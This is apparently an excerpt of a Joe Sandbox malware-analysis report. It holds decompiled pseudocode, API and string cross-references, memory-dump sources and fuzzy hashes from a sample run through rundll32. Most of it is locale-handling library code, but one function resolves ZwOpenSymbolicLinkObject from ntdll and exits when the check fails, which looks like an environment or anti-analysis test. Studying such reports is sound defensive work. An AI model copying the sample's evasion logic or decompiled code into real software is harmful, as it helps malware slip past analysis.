							GetLocaleInfoA(??, ??, ??, ??);
							_t59 = E004434F0(__eflags, _t212 - 0x60, _t188);
							_t155 =  *0x45f040; // 0x45eff8
							 *_t155 = _t59;
							 *((intOrPtr*)(_t155 + 8)) = 0;
							L52:
							 *(_t155 + 4) = _t111;
							E00432710();
							_t48 = IsValidLocale(??, ??);
							__eflags = _t48;
							_t134 =  *0x45f040; // 0x45eff8
							if(_t48 != 0) {
								L54:
								_t55 = SetThreadLocale();
								_t157 =  *0x45f040; // 0x45eff8
								__eflags =  *(_t157 + 8);
								if( *(_t157 + 8) == 0) {
									E0043F880(_t55, _t157);
									_t158 =  *0x45f040; // 0x45eff8
									_t48 = E00440060(_t76, r14d, _t134, _t158, _t214);
									__eflags = _t48;
									if(_t48 == 0) {
										L62:
										SetLastError();
										__eflags = r15d;
										if(r15d != 0) {
											_t159 =  *0x45f040; // 0x45eff8
											_t48 = E0043F880(_t48, _t159);
											E00432710();
											 *0x45f040 = 0x45eff8;
										}
										L64:
										LeaveCriticalSection();
										L65:
										__eflags = 0;
										L66:
										asm("movaps xmm6, [ebp+0x1b0]");
										return _t48;
									}
									_t136 =  *0x45f040; // 0x45eff8
									_t48 = E00446050(_t48,  *_t136, _t136, _t214, _t215, _t216, _t218);
									__eflags = _t48;
									if(_t48 == 0) {
										_t48 = GetCPInfo();
										__eflags = _t48;
										if(_t48 == 0) {
											goto L59;
										}
										 *0x45edf0 =  *((intOrPtr*)(_t212 + 0xa0));
										L56:
										_t48 = E00441DA0();
										_t132 =  *0x45f040; // 0x45eff8
										_t40 = _t132 + 0x38; // 0x4508d9
										_t211 =  *_t40;
										LeaveCriticalSection(??);
										goto L66;
									}
									L59:
									LeaveCriticalSection();
									SetLastError(??);
									goto L65;
								}
								 *0x45edf0 = 1;
								goto L56;
							}
							__eflags =  *(_t134 + 8);
							if( *(_t134 + 8) == 0) {
								goto L62;
							}
							goto L54;
						}
						E00436FB0(_t211, "en_US", _t216);
						if(_t130 == 0) {
							E00436FB0(_t211, "en_GB", _t216);
							__eflags = _t130;
							if(_t130 == 0) {
								E00436FB0(_t211, "fr_FR", _t216);
								__eflags = _t130;
								if(_t130 == 0) {
									E00436FB0(_t211, "de_DE", _t216);
									__eflags = _t130;
									if(_t130 == 0) {
										L36:
										if(E00437D90(_t211, "C") == 0) {
											_t153 =  *0x45f040; // 0x45eff8
											L51:
											E0043F880(_t48, _t153);
											E00432710();
											_t155 = 0x45eff8;
											 *0x45f040 = 0x45eff8;
											_t111 = 0;
											__eflags = 0;
											goto L52;
										}
										if( *_t210 != 0x4c ||  *((char*)(_t210 + 1)) != 0x43 ||  *((char*)(_t210 + 2)) != 0x5f) {
											_t168 =  *0x45f040; // 0x45eff8
											 *((intOrPtr*)(_t168 + 8)) = 0;
											_t48 = E0043FDE0(_t82, _t130, _t168, _t210, _t215, _t216);
											_t111 = _t48;
											__eflags = _t111;
											if(_t111 == 0) {
												__eflags = r15d;
												if(r15d != 0) {
													E00432710();
													 *0x45f040 = 0x45eff8;
												}
												LeaveCriticalSection();
												E00432710();
												goto L65;
											}
											_t155 =  *0x45f040; // 0x45eff8
											goto L52;
										} else {
											E00432710();
											LeaveCriticalSection(??);
											_t139 =  *0x45f040; // 0x45eff8
											 *((long long*)(_t212 + 0x1a8)) = _t139;
											EnterCriticalSection(??);
											asm("xorps xmm6, xmm6");
											asm("movaps [ebp+0x190], xmm6");
											asm("movaps [ebp+0x180], xmm6");
											asm("movaps [ebp+0x170], xmm6");
											asm("movaps [ebp+0x160], xmm6");
											asm("movaps [ebp+0x150], xmm6");
											asm("movaps [ebp+0x140], xmm6");
											asm("movaps [ebp+0x130], xmm6");
											asm("movaps [ebp+0x120], xmm6");
											asm("movaps [ebp+0x110], xmm6");
											asm("movaps [ebp+0x100], xmm6");
											asm("movaps [ebp+0xf0], xmm6");
											asm("movaps [ebp+0xe0], xmm6");
											asm("movaps [ebp+0xd0], xmm6");
											asm("movaps [ebp+0xc0], xmm6");
											asm("movaps [ebp+0xb0], xmm6");
											asm("movaps [ebp+0xa0], xmm6");
											_t64 = 0;
											_t217 = _t212 + 0xa0;
											_t219 = "LC_COLLATE";
											r13d = 0;
											while(1) {
												_t92 =  *_t211 & 0x000000ff;
												if(_t92 == 0xa) {
													goto L42;
												}
												L44:
												if(_t92 == 0x3d) {
													_t66 = E00437D90(_t217, "LC_CTYPE");
													r12d = r13d;
													r12d = r12d | 0x00000002;
													__eflags = _t66;
													r12w =  !=  ? r13w : r12w;
													__eflags = E00437D90(_t217, "LC_TIME");
													_t79 =  !=  ? r12w : r12d | 0x00000020;
													__eflags = E00437D90(_t217, "LC_NUMERIC");
													_t108 =  !=  ?  !=  ? r12w : r12d | 0x00000020 : ( !=  ? r12w : r12d | 0x00000020) | 0x00000010;
													__eflags = E00437D90(_t217, "LC_MONETARY");
													_t76 =  !=  ? _t108 : _t108 | 0x00000004;
													_t70 = E00437D90(_t217, _t219);
													r13d = 0;
													__eflags = _t70;
													r13b = _t70 == 0;
													r13d = r13d | ( !=  ? _t108 : _t108 | 0x00000004);
													L41:
													asm("movaps [ebp+0x190], xmm6");
													asm("movaps [ebp+0x180], xmm6");
													asm("movaps [ebp+0x170], xmm6");
													asm("movaps [ebp+0x160], xmm6");
													asm("movaps [ebp+0x150], xmm6");
													asm("movaps [ebp+0x140], xmm6");
													asm("movaps [ebp+0x130], xmm6");
													asm("movaps [ebp+0x120], xmm6");
													asm("movaps [ebp+0x110], xmm6");
													asm("movaps [ebp+0x100], xmm6");
													asm("movaps [ebp+0xf0], xmm6");
													asm("movaps [ebp+0xe0], xmm6");
													asm("movaps [ebp+0xd0], xmm6");
													asm("movaps [ebp+0xc0], xmm6");
													asm("movaps [ebp+0xb0], xmm6");
													asm("movaps [ebp+0xa0], xmm6");
													_t211 =  &(_t211[1]);
													_t64 = 0;
													while(1) {
														_t92 =  *_t211 & 0x000000ff;
														if(_t92 == 0xa) {
															goto L42;
														}
														goto L44;
													}
													goto L42;
												}
												if(_t92 == 0) {
													_t211 =  *((intOrPtr*)(_t212 + 0x1a8));
													_t211[4] = E0043FDE0(_t92, _t139, _t211, _t212 - 0x60, _t215, _t216);
													_t48 = IsValidLocale(??, ??);
													__eflags = _t48;
													if(_t48 != 0) {
														L74:
														_t140 =  *0x45f040; // 0x45eff8
														_t72 = SetThreadLocale(??);
														_t182 =  *0x45f040; // 0x45eff8
														E0043F880(_t72, _t182);
														_t183 =  *0x45f040; // 0x45eff8
														_t48 = E00440060(_t76, r13d, _t140, _t183, _t214);
														__eflags = _t48;
														if(_t48 != 0) {
															goto L56;
														}
														SetLastError();
														goto L64;
													}
													__eflags = _t211[8];
													if(_t211[8] == 0) {
														SetLastError();
														goto L64;
													}
													goto L74;
												}
												_t208 = _t64;
												_t64 = _t64 + 1;
												 *(_t212 + _t208 + 0xa0) = _t92;
												_t211 =  &(_t211[1]);
												continue;
												L42:
												E00437D50(_t64, _t212 - 0x60, _t217);
												goto L41;
											}
										}
									}
									 *_t210 = 0x554544;
									L34:
									_t74 = E00437E20(0x2e, _t130, _t211);
									if(_t130 != 0) {
										_t26 = _t210 + 3; // 0x3
										E00437D50(_t74, _t26, _t130);
									}
									goto L36;
								}
								 *_t210 = 0x415246;
								goto L34;
							}
							 *_t210 = 0x474e45;
							goto L34;
						}
						 *_t210 = 0x554e45;
						goto L34;
					}
				}
			}

APIs

EnterCriticalSection.KERNEL32 ref: 0043F1A6
LeaveCriticalSection.KERNEL32 ref: 0043F3F9
EnterCriticalSection.KERNEL32 ref: 0043F413
IsValidLocale.KERNEL32 ref: 0043F674
SetThreadLocale.KERNEL32 ref: 0043F691
LeaveCriticalSection.KERNEL32 ref: 0043F6C4
LeaveCriticalSection.KERNEL32 ref: 0043F703
SetLastError.KERNEL32 ref: 0043F70D
SetLastError.KERNEL32 ref: 0043F720
LeaveCriticalSection.KERNEL32 ref: 0043F757
LeaveCriticalSection.KERNEL32 ref: 0043F7A2
GetCPInfo.KERNEL32 ref: 0043F7C1
IsValidLocale.KERNEL32 ref: 0043F7FC
SetThreadLocale.KERNEL32 ref: 0043F815
SetLastError.KERNEL32 ref: 0043F842
SetLastError.KERNEL32 ref: 0043F851

Strings

en_GB, xrefs: 0043F29C
de_DE, xrefs: 0043F37E
LC_MONETARY, xrefs: 0043F2E6, 0043F5D6
fr_FR, xrefs: 0043F362
LC_COLLATE, xrefs: 0043F334, 0043F494
en_US, xrefs: 0043F21C
LC_NUMERIC, xrefs: 0043F302, 0043F5BC
LC_TIME, xrefs: 0043F31B, 0043F5A0
LC_CTYPE, xrefs: 0043F351, 0043F583

Memory Dump Source

Source File: 00000004.00000002.857310691.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.857276741.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857820776.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857867630.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857926539.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857976908.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858031627.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858080857.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858172853.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858271034.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858271034.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rundll32.jbxd

Similarity

API ID: CriticalSection$Leave$ErrorLastLocale$EnterThreadValid$Info
String ID: LC_COLLATE$LC_CTYPE$LC_MONETARY$LC_NUMERIC$LC_TIME$de_DE$en_GB$en_US$fr_FR
API String ID: 2849378158-2816315080
Opcode ID: c30373f4ef01e4295a6435b6d53dbded5a2ad0834b8553aabd440f9870cfc8be
Instruction ID: eb35e75115b9584e4d3042eb8a0c31a0fc2985bfd2a615cfd64a373cea489c6c
Opcode Fuzzy Hash: c30373f4ef01e4295a6435b6d53dbded5a2ad0834b8553aabd440f9870cfc8be
Instruction Fuzzy Hash: 1AF19060A04AC596FB259F2AEC563E62361BF88749F446027DE495B363EF3CC54AC309

Uniqueness

Uniqueness Score: -1.00%

Function 00401730 Relevance: 9.3, APIs: 1, Strings: 5, Instructions: 328
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ntdll.dll, xrefs: 0040176B
>K_1mZvpi2i%FY76DhWZFJOo&UE$pFeDpE9l85^7, xrefs: 00401BA4
kernel32.dll, xrefs: 00401857
MZP, xrefs: 00401B4B
VNRKGF, xrefs: 00401B31

Memory Dump Source

Source File: 00000004.00000002.857310691.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.857276741.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857820776.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857867630.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857926539.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857976908.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858031627.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858080857.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858172853.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858271034.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858271034.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rundll32.jbxd

Similarity

API ID:
String ID: >K_1mZvpi2i%FY76DhWZFJOo&UE$pFeDpE9l85^7$MZP$VNRKGF$kernel32.dll$ntdll.dll
API String ID: 0-918815756
Opcode ID: 584083c728677f4f607b5e6adc5e6c711f949d2665a6623fb904ca8195ad3986
Instruction ID: aa5c07a5f9b08c0224b477cbf3beacf17754ae17d55c03335d29ab53b3039c4f
Opcode Fuzzy Hash: 584083c728677f4f607b5e6adc5e6c711f949d2665a6623fb904ca8195ad3986
Instruction Fuzzy Hash: C6D110777056A086DB24CF25D848BAE3BB2F358B84F4A8127DF49633A4DB39C949C744

Uniqueness

Uniqueness Score: -1.00%

Function 00401C80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 58
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 27%

			E00401C80(void* __edx, long long __rcx) {
				long long* _t27;
				long long* _t31;
				long long* _t36;
				long long _t37;
				void* _t38;
				void* _t39;
				void* _t40;

				_t38 = _t39 + 0x30;
				_t37 = __rcx;
				if(__edx == 1) {
					_t27 =  *[gs:0x60];
					 *((long long*)(_t38 - 0x10)) = 0;
					 *((long long*)(_t38 - 8)) = 0;
					LoadLibraryW(??);
					_t31 = _t27;
					GetProcAddress(??, ??);
					_t36 = _t27;
					r8d = 0;
					if( *_t36() == 0) {
						L3:
						ExitProcess();
					} else {
						r8d = 0;
						if( *_t36() == 0) {
							goto L3;
						}
					}
					 *0x452100 = 0;
					 *0x452104 = 0;
					 *0x452108 = 0;
					 *0x452110 = 0;
					 *0x45210c = 0;
					 *0x452114 = 0;
					 *0x460320 = 0xa0951af;
					E00401730(0x415, _t31, _t38 - 8, _t40); // executed
					E00401730(0x1045, _t31, _t38 - 0x10, _t40); // executed
					 *0x4602f8 = 0;
					 *0x460308 = 0;
					 *0x4602f0 = _t37;
					 *0x4602f8 = 1;
					 *0x460300 =  *((intOrPtr*)(_t38 - 0x10));
					 *((intOrPtr*)(_t38 - 8))();
				}
				return 1;
			}

APIs

LoadLibraryW.KERNEL32 ref: 00401CB8
GetProcAddress.KERNEL32 ref: 00401CC7
ExitProcess.KERNEL32 ref: 00401CEE

Strings

ZwOpenSymbolicLinkObject, xrefs: 00401CBD
ntdll.dll, xrefs: 00401CB1

Memory Dump Source

Source File: 00000004.00000002.857310691.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.857276741.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857820776.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857867630.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857926539.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857976908.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858031627.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858080857.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858172853.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858271034.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858271034.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rundll32.jbxd

Similarity

API ID: AddressExitLibraryLoadProcProcess
String ID: ZwOpenSymbolicLinkObject$ntdll.dll
API String ID: 881411216-2262421573
Opcode ID: 9e96d7bd63f047a8a4f8d8b064f262c35a10dff1023597b564c94de9cf1b12b4
Instruction ID: db1909ea48abd36147696056b9485cab6779c51b1b6782945cd837e5f247ac1f
Opcode Fuzzy Hash: 9e96d7bd63f047a8a4f8d8b064f262c35a10dff1023597b564c94de9cf1b12b4
Instruction Fuzzy Hash: 0A2177B2A10B2087F704DF66E96439A23A1B742389F40802ADF19077A1EFBE84498758

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180013988 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 105processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE ref: 0000000180013AF8

Strings

li, xrefs: 0000000180013A44

Memory Dump Source

Source File: 00000004.00000002.858695133.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: li
API String ID: 963392458-3170889640
Opcode ID: df447d1959c748b5d8cf34ebfef7c4b31b83bdbcb52bf56f40cb8f0245456118
Instruction ID: 8e11a4d39ca985a0995e1ea11756a4dd13d0ddb6a9316c5e521eceb689c7f111
Opcode Fuzzy Hash: df447d1959c748b5d8cf34ebfef7c4b31b83bdbcb52bf56f40cb8f0245456118
Instruction Fuzzy Hash: 3A41E77091CB848FEBA4DF18D0C97DAB7E0FB98315F10495DE488C7296CB789984CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00401DA0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 00401E45

Strings

`, xrefs: 00401E19

Memory Dump Source

Source File: 00000004.00000002.857310691.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.857276741.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857820776.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857867630.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857926539.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857976908.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858031627.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858080857.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858172853.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858271034.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858271034.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rundll32.jbxd

Similarity

API ID: ExitProcess
String ID: `
API String ID: 621844428-2679148245
Opcode ID: a5f67577f4f975c5070fd2da058a078e3cc204642edc8f39634a10060d3e011d
Instruction ID: bfd13aeb5915da2dff666e0a917086d1b8f3ad3d243f761575b89525198465ac
Opcode Fuzzy Hash: a5f67577f4f975c5070fd2da058a078e3cc204642edc8f39634a10060d3e011d
Instruction Fuzzy Hash: 1E11CE73A4166087D7249F259450BE97BA2F7C9FA1F4A4132DE8A63351EA38988AC704

Uniqueness

Uniqueness Score: -1.00%

Function 00448980 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00448980(void* __esi, long long __rax, long long __rcx, void* __rdx, void* __r9) {
				void* _t20;
				void* _t22;
				long long _t39;
				void* _t40;
				void* _t41;

				_t40 = _t41 + 0x30;
				_t20 = r8d;
				_t39 = __rcx;
				 *((intOrPtr*)(_t40 - 0x10)) = 1;
				 *((long long*)(_t40 - 8)) = __rcx;
				if(_t20 == 1) {
					 *0x46aa10 = __rax + 1;
					if( *0x46aa10 == 0) {
						L0044D2B8();
						 *0x46a980 = __rax;
						E004391E0( *((intOrPtr*)(__rcx + 0x88)));
						E004486D0(0, _t40 - 0x10); // executed
					}
				}
				_t22 =  *((intOrPtr*)(_t39 + 0x30))();
				if(_t20 == 0) {
					 *0x46aa10 =  *0x46aa10 - 1;
					if( *0x46aa10 == 0) {
						E00447120();
						E004486D0(1, _t40 - 0x10);
						if( *0x46a980 != 0) {
							FreeEnvironmentStringsA();
							 *0x46a980 = 0;
						}
					}
				}
				return _t22;
			}

APIs

FreeEnvironmentStringsA.KERNEL32 ref: 00448A1C

Memory Dump Source

Source File: 00000004.00000002.857310691.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.857276741.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857820776.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857867630.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857926539.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857976908.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858031627.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858080857.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858172853.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858271034.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858271034.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rundll32.jbxd

Similarity

API ID: EnvironmentFreeStrings
String ID:
API String ID: 3336370858-0
Opcode ID: 6216d6dd2ad98e1607dd4661394673a1ee1f2148b18d1e522f78b0bd5cfaa91c
Instruction ID: 8047bb8689668f1308835f4db60db05d83f17dd569f18ecb69375c7857f68668
Opcode Fuzzy Hash: 6216d6dd2ad98e1607dd4661394673a1ee1f2148b18d1e522f78b0bd5cfaa91c
Instruction Fuzzy Hash: AA11E576B11D1046F710EB62E80036EB360BB95798F45492BDE0967B10EFBDC816C74A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00440610 Relevance: 51.4, APIs: 34, Instructions: 414COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440636
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440659
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440671
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440694
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 004406B0
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 004406D3
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 004406EC
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 0044070F
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 0044072E
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440751
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 0044076A
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 0044078D
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 004407AC
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 004407D0
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440805
SetLastError.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 0044082E
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440864
SetLastError.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 0044088E
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 004408C4
SetLastError.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 004408EE
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440924
SetLastError.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 0044094E
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440984
SetLastError.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 004409AE
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 004409E4
SetLastError.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440A0E
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440A44
SetLastError.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440A6E
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440AA4
SetLastError.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440ACE
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440B04
SetLastError.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440B2E
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440B64

Memory Dump Source

Source File: 00000004.00000002.857310691.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.857276741.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857820776.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857867630.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857926539.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857976908.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858031627.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858080857.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858172853.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858271034.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858271034.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rundll32.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: c4af37fe97c4afc46e005482de082dd8c8078826e801709697f96d713cb95dc9
Instruction ID: 735ad95a39c67accb30d7ff8a32d0179e39144997acc75629ce13e3f55211c6d
Opcode Fuzzy Hash: c4af37fe97c4afc46e005482de082dd8c8078826e801709697f96d713cb95dc9
Instruction Fuzzy Hash: A7C1E83171665046F6087673962276E1186AF89FC8F05942FDF19ABB82DEBCCA03534E

Uniqueness

Uniqueness Score: -1.00%

Function 00441BA0 Relevance: 19.6, APIs: 13, Instructions: 149COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441BCA
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441BEE
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441C09
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441C31
SetLastError.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441C46
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441C60
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441C84
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441C9F
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441CC3
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441CE4
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441D08
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441D39
SetLastError.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441D64

Memory Dump Source

